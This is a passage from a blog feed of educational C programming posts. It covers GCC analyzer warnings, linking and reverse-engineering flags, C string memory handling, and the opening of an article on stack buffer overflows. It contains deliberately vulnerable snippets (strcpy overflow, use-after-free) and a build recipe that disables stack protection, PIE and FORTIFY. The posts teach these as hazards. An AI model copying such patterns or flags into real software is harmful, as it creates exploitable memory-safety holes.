‘main’: events 1-2<br>    |<br>    |   68 | int main(int argc, char **argv) {<br>    |      |     ^~~~<br>    |      |     |<br>    |      |     (1) entry to ‘main’<br>    |......<br>    |   76 |     int len = length_or_default(NULL);<br>    |      |               ~~~~~~~~~~~~~~~~~~~~~~~<br>    |      |               |<br>    |      |               (2) calling ‘length_or_default’ from ‘main’<br>    |<br>    +--&gt; ‘length_or_default’: events 3-6<br>           |<br>           |   39 | int length_or_default(const char *s) {<br>           |      |     ^~~~~~~~~~~~~~~~~<br>           |      |     |<br>           |      |     (3) entry to ‘length_or_default’<br>           |   40 |     if (s == NULL) {<br>           |      |        ~<br>           |      |        |<br>           |      |        (4) following ‘true’ branch (when ‘s’ is NULL)...<br>           |   41 |         /* BUG: dereference NULL pointer */<br>           |   42 |         return (int)strlen(s);<br>           |      |                     ~~~~~~~~~<br>           |      |                     |<br>           |      |                     (5) ...to here<br>           |      |                     (6) argument 1 (‘s’) NULL where non-null expected<br>           |<br>In file included from analyzer_demo.c:3:<br>/usr/include/string.h:407:15: note: argument 1 of ‘strlen’ must be non-null<br>  407 | extern size_t strlen (const char *__s)<br>      |               ^~~~~~<br>analyzer_demo.c: In function ‘write_message_to_file’:<br>analyzer_demo.c:59:9: warning: leak of FILE ‘f’ [CWE-775] [-Wanalyzer-file-leak]<br>   59 |         return;<br>      |         ^~~~~~<br>  ‘write_message_to_file’: events 1-7<br>    |<br>    |   52 |     FILE *f = fopen(path, &quot;w&quot;);<br>    |      |               ^~~~~~~~~~~~~~~~<br>    |      |               |<br>    |      |               (1) opened here<br>    |   53 |     if (!f) {<br>    |      |        ~       <br>    |      |        |<br>    |      |        (2) assuming ‘f’ is non-NULL<br>    |      |        (3) following ‘false’ branch (when ‘f’ is non-NULL)...<br>    |......<br>    |   57 |     if (simulate_error) {<br>    |      |        ~       <br>    |      |        |<br>    |      |        (4) ...to here<br>    |      |        (5) following ‘true’ branch (when ‘simulate_error != 0’)...<br>    |   58 |         /* BUG: early return without fclose → resource leak */<br>    |   59 |         return;<br>    |      |         ~~~~~~ <br>    |      |         |<br>    |      |         (6) ...to here<br>    |      |         (7) ‘f’ leaks here; was opened at (1)<br>    |<br>analyzer_demo.c:59:9: warning: leak of ‘f’ [CWE-401] [-Wanalyzer-malloc-leak]<br>   59 |         return;<br>      |         ^~~~~~<br>  ‘write_message_to_file’: events 1-7<br>    |<br>    |   52 |     FILE *f = fopen(path, &quot;w&quot;);<br>    |      |               ^~~~~~~~~~~~~~~~<br>    |      |               |<br>    |      |               (1) allocated here<br>    |   53 |     if (!f) {<br>    |      |        ~       <br>    |      |        |<br>    |      |        (2) assuming ‘f’ is non-NULL<br>    |      |        (3) following ‘false’ branch (when ‘f’ is non-NULL)...<br>    |......<br>    |   57 |     if (simulate_error) {<br>    |      |        ~       <br>    |      |        |<br>    |      |        (4) ...to here<br>    |      |        (5) following ‘true’ branch (when ‘simulate_error != 0’)...<br>    |   58 |         /* BUG: early return without fclose → resource leak */<br>    |   59 |         return;<br>    |      |         ~~~~~~ <br>    |      |         |<br>    |      |         (6) ...to here<br>    |      |         (7) ‘f’ leaks here; was allocated at (1)<br>    |</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WFCkbyFr3fIVcuu2pt-UbA.png" /></figure><h3>7. Linking Options</h3><p>Linking is the final stage of the compilation process, where object files, libraries, and various program sections are combined into a single executable or shared library. While often overlooked, the linking stage has a significant impact on binary structure, performance, portability, and security. GCC provides numerous options.</p><p>One of the most fundamental linking decisions is whether to produce a <strong>static</strong> or <strong>dynamic</strong> binary. By default, GCC links executables dynamically, relying on shared libraries such as libc.so, libm.so, and others present on the system at runtime. Dynamic linking reduces binary size and enables system-wide library updates, but it also introduces dependencies on specific library versions. To statically link all dependencies, including the C runtime, developers can use the -static option. This embeds library code directly into the executable, producing a self-contained binary.</p><pre>gcc -static main.c -o main</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*VkhhkMFl2ToA65Fd0g07Jg.png" /></figure><p>Static linking is useful in minimal container images, bootloaders, and specific embedded systems. However, static binaries are larger and may exclude features like dynamic loader support or advanced glibc capabilities. Conversely, dynamic linking (the default) is more flexible, allowing for smaller binaries, faster updates, and shared memory usage across processes.</p><p>Creating <strong>shared libraries</strong> requires different linking semantics. Shared libraries (files like libexample.so) are position-independent and must be compiled with -fPIC. During linking, the -shared flag tells GCC to produce a shared object instead of a regular executable.</p><pre>gcc -fPIC -c lib.c -o lib.o<br>gcc -shared -o libexample.so lib.o</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NQ3yQQFzocMkS1I4h35lRQ.png" /></figure><h3>8. Reverse Engineering &amp; Low-Level Exploration</h3><p>Reverse engineering requires an understanding of how compilers transform high-level code into assembly and how different compiler flags affect binary structure, calling conventions, and optimization patterns. GCC is not only a compiler but also a highly configurable tool for generating binaries that are suitable for reverse engineering practices, exploit development, and binary instrumentation. By adjusting specific options, developers can remove hardening protections, expose internal structures, and produce predictable binaries for analysis.</p><p>Optimized binaries, especially at higher optimization levels, introduce instruction reordering, aggressive inlining, dead-code elimination, and loop transformations. While these are excellent for performance, they obscure the program&#39;s structure and complicate mapping assembly back to the source. For this reason, reverse engineers often compile with optimizations disabled:</p><pre>gcc -O0 -g target.c -o target</pre><p>The -O0 option preserves control flow structure, stack frames, and local variable layout, while -g embeds debugging symbols that provide human-readable function names, source line mappings, and type information. This combination produces a binary that is easy to examine with GDB, objdump, radare2, or IDA Pro.</p><p>Another staple flag in reverse engineering is -fno-omit-frame-pointer. Modern compilers often reuse the frame pointer register for general computation to improve performance, but this makes stack tracing difficult. Disabling this optimization forces the compiler to keep a stable frame pointer chain, making backtraces and call stack reconstruction far easier.</p><pre>gcc -O0 -g -fno-omit-frame-pointer debug.c -o debug</pre><p>Reverse engineers frequently need to <strong>disable security mitigations</strong> to study vulnerabilities or to reproduce historical exploit techniques. GCC allows developers to compile binaries without stack canaries using:</p><pre>gcc -fno-stack-protector vuln.c -o vuln</pre><p>Likewise, disabling Position-Independent Executables (PIE) guarantees that a binary loads at a predictable address — useful when exploring memory corruption attacks or practicing return-oriented programming (ROP). The -no-pie option ensures a fixed text segment layout:</p><pre>gcc -no-pie -O0 -g example.c -o example</pre><p>Removing FORTIFY_SOURCE protections helps reproduce the behavior of older systems or create intentionally vulnerable training applications:</p><pre>gcc -U_FORTIFY_SOURCE -O0 legacy.c -o legacy</pre><p>In addition to disabling protections, reverse engineering often requires <strong>examining assembly output</strong>. The -S flag allows developers to inspect the compiler-generated assembly, while -fverbose-asm adds valuable comments that clarify registers, variable names, and intermediate representations:</p><pre>gcc -S -fverbose-asm compute.c -o compute.s</pre><p>The generated .s file becomes a readable bridge between C code and the final machine instructions, making it an excellent educational tool for learning instruction sets, calling conventions, and code-generation patterns.</p><p>GCC also provides a wealth of <strong>intermediate representation (IR) dumps</strong> for researchers who want to understand optimization pipelines or study compiler internals. Options such as -fdump-tree-all, -fdump-rtl-all, or more targeted passes reveal the transformations applied at various stages of compilation.</p><pre>gcc -O2 -fdump-tree-all analysis.c</pre><p>This produces multiple .dump files showing tree optimizations, SSA form, loop transformations, inlining decisions, and more. Researchers studying exploitation prevention or analyzing compiler bugs frequently rely on these dumps.</p><p>Reverse engineering also benefits from <strong>creating minimal binaries</strong>, where the compiler emits only the bare minimum instructions required to execute a function. The -fno-builtin option instructs GCC not to substitute standard library functions with optimized built-ins, ensuring the function calls appear explicitly in the binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O3RYgykIfZo3w8qXdN1Zdg.png" /></figure><h3>10. Cheat Sheet</h3><h3>Hardened Build</h3><pre>gcc -O2 -Wall -Wextra -D_FORTIFY_SOURCE=2 \<br>    -fstack-protector-strong -fPIE -pie \<br>    -Wl,-z,relro,-z,now -fcf-protection=full \<br>    app.c -o app</pre><h3>Reverse Engineering Build</h3><pre>gcc -O0 -g -fno-omit-frame-pointer -z execstack \<br>    -fno-stack-protector -no-pie -U_FORTIFY_SOURCE \<br>    target.c -o target</pre><h3>Performance Build</h3><pre>gcc -O3 -march=native -flto perf.c -o perf</pre><h3>Static Binary</h3><pre>gcc -O2 -static tool.c -o tool</pre><h3>ASan Debug Build</h3><pre>gcc -O1 -g -fsanitize=address -fno-omit-frame-pointer main.c -o main</pre><p>Thanks for reading,</p><p>Can</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=733d0dd13b3d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Strings in C: A Deep Technical Exploration]]></title>
            <link>https://can-ozkan.medium.com/strings-in-c-a-deep-technical-exploration-cffc14f362b0?source=rss-b1e265f0b360------2</link>
            <guid isPermaLink="false">https://medium.com/p/cffc14f362b0</guid>
            <dc:creator><![CDATA[Can Özkan]]></dc:creator>
            <pubDate>Thu, 20 Nov 2025 21:13:52 GMT</pubDate>
            <atom:updated>2025-11-20T21:13:52.922Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Introduction</h3><p>Strings in C represent a unique space in systems programming: they are both relatively simple yet dangerous. Unlike higher-level languages that treat strings as first-class objects with built-in methods and automatic memory management, C represents strings as arrays of characters terminated by a special null byte. This minimalistic design reflects the core philosophy of C itself, giving developers power, flexibility, and direct memory control while offering very few safety guarantees. Therefore, understanding exactly how strings work in C is essential for anyone working closely with hardware or interacting with memory at a low level.</p><p>For technical professionals, especially those involved in reverse engineering, vulnerability research, or secure software development, a deep understanding of how C handles strings is crucial. Many of the most severe vulnerabilities, ranging from buffer overflows to format string exploits, are rooted in fundamental misunderstandings of how string operations interact with memory. Even professional developers can make mistakes, such as missing null terminators, off-by-one errors, or assuming the immutability of string literals. These mistakes do not simply lead to program crashes; they often open the door to privilege escalation, code injection, or remote code execution.</p><p>Strings also serve as a bridge between C and the underlying system. Compiler optimizations, calling conventions, and assembly output all reflect the string model in a deep way. When debugging at the assembly level or analyzing binaries, developers encounter raw pointers, static storage, and memory offsets that represent string data. Understanding the string layout in memory, whether allocated on the stack, stored in the read-only data section, or dynamically managed on the heap, is crucial for correctly interpreting disassembly and tracing program logic.</p><p>Furthermore, strings in C illustrate the delicate balance between power and responsibility that defines the language. Developers have complete control over memory, but that control requires attention. There are no automatic bounds checks, no built-in protections against misuse, and no language-level safeguards to prevent reading or writing beyond allocated regions. Instead, correctness depends entirely on the programmer’s understanding of how strings occupy and manipulate memory.</p><h3>2. Memory Representation of Strings</h3><p>Understanding how strings occupy memory in C is essential for anyone working at a low level, because the representation of a string directly dictates how it behaves, how it interacts with libraries, and how it can be misused or exploited. Unlike languages that abstract away memory layout, C exposes the underlying storage of strings fully. A string in C may reside in several different regions of memory, depending on how it is declared, each with distinct properties that affect its mutability, lifetime, and security. This section examines how character arrays, string literals, and dynamically allocated buffers are allocated in memory and how the null terminator serves as the core structural element of all string representations.</p><p>Character arrays are among the most common ways to store strings in C. When a program declares a string as</p><pre>void foo(void) {<br>    char s[10] = &quot;hello&quot;;<br>    // s: [&#39;h&#39;, &#39;e&#39;, &#39;l&#39;, &#39;l&#39;, &#39;o&#39;, &#39;\0&#39;, ?, ?, ?, ?]<br>}</pre><p>The compiler allocates ten bytes on the stack (assuming local scope), placing the characters &#39;h&#39;, &#39;e&#39;, &#39;l&#39;, &#39;l&#39;, &#39;o&#39;, and the null terminator into the first six positions while leaving the remaining four bytes either zero-initialized (in this case) or containing indeterminate values, depending on how the array is initialized. Because the array resides on the stack, it has automatic storage duration: it ceases to exist when the function returns. Arrays allocated this way are mutable, and modifying the contents of the array is both valid and expected:</p><pre>char s[10] = &quot;hello&quot;;<br>s[0] = &#39;H&#39;;          // Valid<br>printf(&quot;%s\n&quot;, s);   // Prints &quot;Hello&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5LNngU5V9aZr5j_JxESMng.png" /></figure><p>However, since the compiler does not track the logical length of the string, writing past the intended boundaries of the array becomes a significant risk, especially when using unbounded string-copying functions like strcpy:</p><pre>void dangerous(const char *input) {<br>    char buf[8];<br>    // If input is longer than 7 characters, this may overflow buf.<br>    strcpy(buf, input);   // POTENTIAL STACK BUFFER OVERFLOW<br>    printf(&quot;You said: %s\n&quot;, buf);<br>}</pre><p>String literals exhibit a distinct memory behavior. When writing code,</p><pre>void baz(void) {<br>    const char *p = &quot;hello&quot;;<br>    printf(&quot;%s\n&quot;, p);<br>}</pre><p>the compiler stores the literal string &quot;hello&quot; in a <strong>read-only section</strong> of the program’s memory image, typically the .rodata (read-only data) segment. This segment is protected so that any attempt to modify a literal, such as p[0] = &#39;H&#39;;, results in undefined behavior and usually triggers a segmentation fault on modern operating systems:</p><pre>void ub_example(void) {<br>    char *p = &quot;hello&quot;;    // Points to read-only storage<br>    p[0] = &#39;H&#39;;           // UNDEFINED BEHAVIOR (likely crash)<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vOCO_QqFjV72YmLh796GWQ.png" /></figure><p>Although compilers may place identical literal strings at the same memory address to optimize storage, this is not guaranteed by the C standard. What <em>is</em> guaranteed is that attempting to mutate a string literal is invalid, even though the language allows the literal to decay to a char *. This quirk is a frequent stumbling block for segmentation faults.</p><p>Pointers add another layer of complexity to C’s memory model. Writing</p><pre>char *p1  = &quot;hello&quot;;<br>char  p2[] = &quot;hello&quot;;</pre><p>does not mean the same thing. In the first case, p1 is a pointer to a string literal <strong>stored in read-only memory</strong>. In the second case, p2 is a true array with space for six characters (&#39;h&#39;, &#39;e&#39;, &#39;l&#39;, &#39;l&#39;, &#39;o&#39;, &#39;\0&#39;) stored in writable memory (often on the stack if declared locally). Modifying p2 is valid, while modifying what p1 points to is not:</p><pre>void pointer_vs_array(void) {<br>    char *p1  = &quot;hello&quot;;    // read-only storage<br>    char  p2[] = &quot;hello&quot;;   // writable array<br>    <br>    // p2 can be modified:<br>    p2[0] = &#39;H&#39;;            // OK<br>    printf(&quot;p2 = %s\n&quot;, p2);<br>    // p1 modification is UB:<br>    // p1[0] = &#39;H&#39;;         // DO NOT DO THIS<br>}</pre><p>These two declarations may look similar, but they differ dramatically in both memory layout and behavior. This matters greatly in contexts such as reverse engineering, where distinguishing between a pointer to immutable storage and a mutable stack buffer can reveal how a program handles data internally or where unexpected vulnerabilities might arise.</p><p>The null terminator is a defining feature of C strings, playing a central role in all string operations. Without it, functions like strlen, strcpy, and printf have no way to determine where a string ends, often causing them to read arbitrarily far into adjacent memory. Consider the following example, which deliberately forgets the null terminator:</p><pre>void missing_null(void) {<br>    char s[5] = { &#39;h&#39;, &#39;e&#39;, &#39;l&#39;, &#39;l&#39;, &#39;o&#39; };  // NO &#39;\0&#39; TERMINATOR<br>    printf(&quot;%s\n&quot;, s);  // Undefined behavior: may print garbage after &quot;hello&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vmE9s-Kk6CWEK51ZnlDQPw.png" /></figure><p>Because printf with %s expects a null-terminated string, it continues reading bytes beyond s[4] until it eventually encounters a &#39;\0&#39; somewhere in memory. This behavior is responsible for a wide range of vulnerabilities, ranging from minor data leakage to catastrophic buffer overflows. Conversely, an extra null byte embedded inside a string effectively truncates it:</p><pre>void early_null(void) {<br>    char s[6] = { &#39;A&#39;, &#39;B&#39;, &#39;\0&#39;, &#39;C&#39;, &#39;D&#39;, &#39;\0&#39; };<br>    printf(&quot;%s\n&quot;, s);  // Prints &quot;AB&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IthC2SQFy_GjwIrBZicYzg.png" /></figure><p>In this case, the logical string as seen by the standard library is &quot;AB&quot;, even though there are additional bytes in the array. This can create logic errors or interfere with protocols, serialization formats, and cryptographic routines that assume continuous, null-free byte sequences.</p><p>Furthermore, memory layout differs significantly when strings are dynamically allocated using functions like malloc, calloc, or realloc. In this case, the string resides on the heap, giving it a lifetime that persists until explicitly freed. A typical pattern looks like this:</p><pre>char *make_greeting(const char *name) {<br>    size_t len_name = strlen(name);<br>    const char *prefix = &quot;Hello, &quot;;<br>    const char *suffix = &quot;!&quot;;<br>    size_t len_prefix = strlen(prefix);<br>    size_t len_suffix = strlen(suffix);<br><br>    // +1 for &#39;\0&#39;<br>    size_t total = len_prefix + len_name + len_suffix + 1;<br>    char *result = malloc(total);<br>    if (!result) {<br>        return NULL; // allocation failed<br>    }<br>    strcpy(result, prefix);<br>    strcat(result, name);<br>    strcat(result, suffix);<br>    return result;  // caller must free(result)<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zRPT0PjCNKiX1X58M59Kmg.png" /></figure><p>Here, the string is allocated on the heap and remains valid until the caller invokes free(result);. Heap-allocated strings enable resizing and dynamic construction, but they introduce the responsibility of managing memory. Forgetting to free such memory leads to leaks:</p><pre>void leak_example(void) {<br>    char *s = make_greeting(&quot;world&quot;);<br>    if (!s) return;<br>    printf(&quot;%s\n&quot;, s);<br>    // free(s);  // Oops: leak if we forget this<br>}</pre><p>Freeing them prematurely results in use-after-free vulnerabilities:</p><pre>void uaf_example(void) {<br>    char *s = make_greeting(&quot;world&quot;);<br>    if (!s) return;<br>    free(s);<br>    printf(&quot;%s\n&quot;, s);  // Undefined behavior: use-after-free<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EZydDsP8mvwAAfJfZFVDtw.png" /></figure><p>If the programmer allocates insufficient space for the null terminator or miscalculates the total size, especially when constructing strings programmatically, heap corruption becomes a real possibility, often destabilizing the entire process.</p><p>Each of these storage strategies — stack arrays, read-only literals, and heap allocations — creates different patterns at the assembly level, influencing how compilers generate instructions for string manipulation. For example, a stack-allocated array may be referenced via offsets from the base pointer, while a string literal referenced through a pointer will show up as an address in the .rodata section loaded into a register. These distinctions become especially important during debugging and reverse engineering, where the analyst must identify whether a particular pointer references stack memory, static storage, or heap memory. Such distinctions can guide the analysis of data flows, buffer usage, and potential weaknesses.</p><h3>3. Common Standard Library Functions for Strings</h3><p>String manipulation in C relies heavily on functions provided in the &lt;string.h&gt; library. These functions operate on raw memory and trust the programmer to supply valid, null-terminated strings and sufficiently large buffers. Because the C standard library performs no bounds checking, even simple string operations can become sources of severe vulnerabilities if misused. Understanding how these functions behave, what assumptions they rely on, and how they differ from one another is essential for writing safe and correct C programs.</p><p>The simplest and most fundamental string operation is measuring length. C provides strlen to determine how many characters appear before the first null terminator. Since strings in C do not store their length anywhere, strlen must scan memory sequentially until it encounters &#39;\0&#39;. This makes the function O(n) and inherently unsafe if the string is not properly terminated:</p><pre>size_t len = strlen(&quot;hello&quot;);   // Returns 5<br>char buf[5] = {&#39;h&#39;,&#39;e&#39;,&#39;l&#39;,&#39;l&#39;,&#39;o&#39;};  <br>printf(&quot;%zu\n&quot;, strlen(buf));    // Undefined behavior: no &#39;\0&#39; terminator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h1BlOiN8JkjDlP529VT9lw.png" /></figure><p>If the null terminator is missing, strlen may read far beyond the intended buffer, potentially exposing memory content or triggering a segmentation fault. It does not validate the pointer or the accessible memory region.</p><p>Copying strings is another essential but dangerous operation in C. The classic strcpy function copies characters from a source string into a destination buffer, including the terminating null byte. However, it assumes that the destination is large enough to hold the source and performs <strong>no length checking whatsoever</strong>:</p><pre>void bad_copy(const char *input) {<br>    char buf[8];<br>    strcpy(buf, input);  // Unsafe: overflow if input &gt; 7 chars<br>    printf(&quot;%s\n&quot;, buf);<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GIr6WSPGogRaSjVhV7VH8Q.png" /></figure><p>This pattern has been the root cause of countless buffer overflow vulnerabilities. To address the size issue, C provides strncpy, which allows the programmer to specify a maximum number of characters to copy. Unfortunately, strncpy introduces a subtle flaw: it does <strong>not</strong> guarantee null termination if the source string is longer than the limit:</p><pre>char buf[8];<br>strncpy(buf, &quot;abcdefgh123&quot;, sizeof(buf));<br>// buf is NOT null-terminated → using it is unsafe</pre><p>This behavior forces programmers to handle termination manually:</p><pre>buf[sizeof(buf) - 1] = &#39;\0&#39;;</pre><p>A more robust alternative available on many UNIX systems is strlcpy, which always null-terminates the destination (as long as the size argument is greater than zero) and returns the length of the source. Although not part of the C standard, it is widely used in security-conscious codebases:</p><pre>char buf[8];<br>strlcpy(buf, &quot;abcdefgh123&quot;, sizeof(buf));  // Safe</pre><p>Concatenation functions behave similarly. The naïve strcat appends a source string to the destination buffer by first calling strlen on the destination and then copying bytes from the source until it reaches the null terminator. This doubling of assumptions makes it particularly dangerous:</p><pre>char buf[10] = &quot;hello&quot;;<br>strcat(buf, &quot; world&quot;);   // Overflow: &quot;hello world&quot; needs 12 bytes</pre><p>Even the bounded version, strncat, can be misleading. The n parameter refers to the maximum <strong>number of characters taken from the source</strong>, not the remaining size of the destination buffer. This difference leads to frequent off-by-one errors and misunderstood semantics. As with strcpy, safer alternatives such as strlcat exist but are not standardized.</p><p>Comparing strings is more straightforward. The function strcmp performs a lexicographical comparison of two null-terminated strings and returns zero if they are equal. The bounded version, strncmp, compares at most n characters. Still, both functions require properly terminated strings; otherwise, they may read beyond the buffer:</p><pre>if (strcmp(user_input, &quot;admin&quot;) == 0) {<br>    // ...<br>}</pre><p>What makes these functions interesting from a low-level perspective is that they do not simply compare pointers; they compare byte values. This distinction is particularly important when comparing strings that originate from different memory regions, such as heap buffers and literals. It also influences behavior when analyzing optimized assembly, where compilers often use vectorized instructions or early-exit comparisons.</p><p>Searching within strings is another area where the standard library provides powerful yet potentially dangerous tools. Functions like strchr and strstr locate characters or substrings within a larger string:</p><pre>char *p = strchr(&quot;hello&quot;, &#39;l&#39;);   // Points to first &#39;l&#39;<br>char *q = strstr(&quot;hello world&quot;, &quot;world&quot;);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zvubzhI8tPWABqPYabyM8Q.png" /></figure><p>As always, both functions rely entirely on the presence of a proper null terminator and will continue scanning memory indefinitely if one is missing.</p><p>Tokenization introduces its own dangers. The classic strtok function splits a string into tokens separated by delimiters, but it maintains a <strong>global internal state</strong>, making it inherently non-thread-safe and unsuitable for concurrent programs:</p><pre>char str[] = &quot;a,b,c&quot;;<br>char *tok = strtok(str, &quot;,&quot;);   // Returns &quot;a&quot;<br>tok = strtok(NULL, &quot;,&quot;);        // Returns &quot;b&quot;</pre><p>Because strtok modifies the input buffer by inserting null terminators; it should never be used on string literals or read-only memory. A safer alternative for multi-threaded environments is strtok_r, which externalizes the parser state.</p><p>Finally, it is essential to distinguish between string functions and memory functions. While string operations treat memory as sequences of characters ending with &#39;\0&#39;, the memory functions—memcpy, memmove, memcmp, and memset—operate on raw bytes without assuming null termination. These functions are often safer for binary data or fixed-size blocks:</p><pre>char buf[16];<br>memset(buf, 0, sizeof(buf));              // Zero out buffer<br>memcpy(buf, &quot;hello&quot;, 5);                  // Copy 5 bytes, no null terminator</pre><p>Using memcpy to manipulate strings can be helpful, but forgetting to append a null terminator afterward results in undefined behavior if the buffer is treated as a string. Conversely, using string functions on binary data can prematurely terminate processing due to embedded null bytes.</p><p>Moreover, the standard string library provides efficient and flexible operations, but it places enormous responsibility on the developer. Each function assumes valid pointers, correct buffer sizes, and proper termination. Misusing any of these functions can result in crashes, data leaks, or severe security vulnerabilities. A strong understanding of their behavior is therefore essential for all systems programmers, especially those working in security-critical or performance-critical environments.</p><h3>4. Strings and Pointers: Deep Dive</h3><p>Strings in C are deeply intertwined with pointers, and understanding their interaction is essential for correct and secure programming. Because arrays often decay into pointers, and because pointers are frequently used to manipulate strings dynamically, it is easy to confuse the two concepts or make incorrect assumptions about memory ownership, mutability, or lifetime. Misunderstanding pointer behavior is one of the most common roots of both logical bugs and severe memory vulnerabilities in C programs. In this section, we examine how arrays decay into pointers, how pointer arithmetic works, and how the same string literal can lead to dramatically different behavior depending on how it is referenced.</p><p>A foundational concept in C is that arrays automatically decay to pointers when passed to functions or used in expressions. This means that although an array has a fixed size known at compile time, using its name in most contexts yields a pointer to its first element. For example:</p><pre>void print_first_char(const char *s) {<br>    printf(&quot;First char: %c\n&quot;, s[0]);<br>}<br><br>void demo_decay(void) {<br>    char arr[] = &quot;hello&quot;;<br>    print_first_char(arr);   // arr decays to char*<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xys7OmkmrBPffOOPrf9NxA.png" /></figure><p>In this example, even though arr is a true array allocated on the stack, it passes into print_first_char as a pointer. The function has no information about the original array’s length, storage duration, or boundaries. This highlights one of C’s core limitations: functions that operate on strings cannot inherently determine buffer sizes and must rely on conventions or separate parameters to prevent overflows. From a security perspective, this decaying behavior is a common source of vulnerabilities, because the callee cannot verify whether the provided pointer has sufficient space.</p><p>Furthermore, pointer arithmetic is another crucial concept for working with strings. Since strings are contiguous sequences of characters in memory, moving a pointer forward effectively navigates through the characters of the string. This arithmetic is scaled by the size of the base type, meaning that incrementing a char * increases its address by one byte. Pointer arithmetic is frequently used in manual parsing routines and can lead to subtle off-by-one errors if not handled carefully:</p><pre>void iterate(const char *s) {<br>    const char *p = s;<br>    while (*p != &#39;\0&#39;) {<br>        putchar(*p);<br>        p++;        // Move to next byte<br>    }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LGsL2dLb0ZWOPwvAyIud4Q.png" /></figure><p>The distinction between pointers and arrays becomes even more pronounced when dealing with string literals. A statement like char *p = &quot;hello&quot;; does not allocate a writable buffer but instead assigns a pointer to read-only memory. Conversely, char a[] = &quot;hello&quot;; copies the literal into mutable storage. These two declarations behave very differently:</p><pre>void pointer_vs_array(void) {<br>    char *p = &quot;hello&quot;;    // Read-only<br>    char a[] = &quot;hello&quot;;   // Writable array<br><br>// a can be modified safely:<br>    a[0] = &#39;H&#39;;           <br>    // p[0] = &#39;H&#39;; // Undefined behavior: do not modify string literals<br>}</pre><p>Another subtle aspect involves pointer aliasing and multiple references to the same memory. If two pointers reference the exact string, modifying one affects the other. This is intuitive but becomes more complex when mixing stack-allocated arrays, heap-allocated buffers, and literal strings:</p><pre>void aliasing_example(void) {<br>    char a[] = &quot;hello&quot;;<br>    char *p = a;<br>    p[1] = &#39;A&#39;;<br>    printf(&quot;%s\n&quot;, a);    // Prints &quot;hAllo&quot;<br>}</pre><p>Here, the pointer p aliases the stack array a, so writing through the pointer updates the array. However, if p pointed to a literal instead, the same operation would trigger undefined behavior. Understanding aliasing helps avoid accidental writes to unexpected memory regions, especially in large codebases where pointers pass through multiple layers of abstraction.</p><p>Strings that originate on the heap further complicate pointer semantics. Because heap allocations return raw pointers, developers often manipulate them with pointer arithmetic without realizing how close they are to memory errors:</p><pre>void heap_pointer_arithmetic(void) {<br>    char *s = malloc(6);<br>    strcpy(s, &quot;hello&quot;);<br>    char *p = s + 2;      // Points to &#39;l&#39;<br>    printf(&quot;%c\n&quot;, *p);<br>    free(s);<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kb9iOFK8YV4Skitbu2GBKg.png" /></figure><p>Across all these cases, the root cause is the same: C does not enforce memory safety, and string-handling functions place absolute trust in the programmer&#39;s ability to handle memory correctly. Every failure, whether a missing null terminator, an incorrect size calculation, or an unsafe library call, creates the potential for vulnerability.</p><p>Thanks for reading,</p><p>Can</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cffc14f362b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Stack-Based Buffer Overflows: From Basics to Exploitation]]></title>
            <link>https://can-ozkan.medium.com/understanding-stack-based-buffer-overflows-from-basics-to-exploitation-f1f25a3cdb04?source=rss-b1e265f0b360------2</link>
            <guid isPermaLink="false">https://medium.com/p/f1f25a3cdb04</guid>
            <dc:creator><![CDATA[Can Özkan]]></dc:creator>
            <pubDate>Wed, 05 Nov 2025 10:04:54 GMT</pubDate>
            <atom:updated>2025-11-05T10:04:54.714Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Introduction</h3><p>Buffer overflows are one of the oldest and most instructive classes of software bugs: they occur whenever a program writes more data into a memory region (a <em>buffer</em>) than that region was allocated to hold. Fundamentally, this is simply an out-of-bounds write; however, as memory is organized into structured regions (such as stack frames, heap allocations, and global data), the consequences can be dramatic. An overflow can corrupt nearby data, change program control flow by overwriting function return addresses or saved registers, or open a path for an attacker to execute arbitrary code.</p><p>In this post, I will focus on the stack-based buffer overflow. The stack is the memory area used for local variables, function arguments, saved frame pointers, and return addresses. Since function return addresses are stored on the stack, overflowing a local buffer can let an attacker overwrite the saved return address and redirect execution. Understanding stack overflows, therefore, teaches two things at once: how compilers and calling conventions shape memory layout, and how tiny programming mistakes map to powerful attack primitives.</p><p>Although buffer overflows were discovered long ago, they remain a significant concern. Modern operating systems and compilers add numerous defensive layers, including stack canaries, non-executable memory (DEP/NX), address space layout randomization (ASLR), and position-independent executables (PIE); however, these mitigations do not fully address the issue. Attackers have developed techniques such as return-to-libc and return-oriented programming (ROP) specifically to circumvent these defenses. In addition, insecure coding patterns persist in legacy codebases, embedded systems, and performance-critical software, where developers disable safety checks.</p><p>A short historical perspective helps ground the topic. Early public interest in buffer overflows grew from high-profile incidents and educational write-ups that demonstrated the severity of a simple bounds-checking error. The Morris Worm of 1988 is widely regarded as a watershed moment in network security, as it exploited several vulnerabilities and raised awareness that software flaws could have a systemic impact. A few years later, the seminal 1996 article <em>“Smashing the Stack for Fun and Profit”</em> refined practical techniques for exploiting stack overflows and introduced many programmers to the mechanics of shellcode and return address overwriting.</p><h3>2. The Stack and Function Call Mechanics</h3><p>Fundamentally, the stack is a contiguous region of memory that the CPU uses to manage function calls. It holds local variables, function arguments (in many conventions), saved registers, and the return 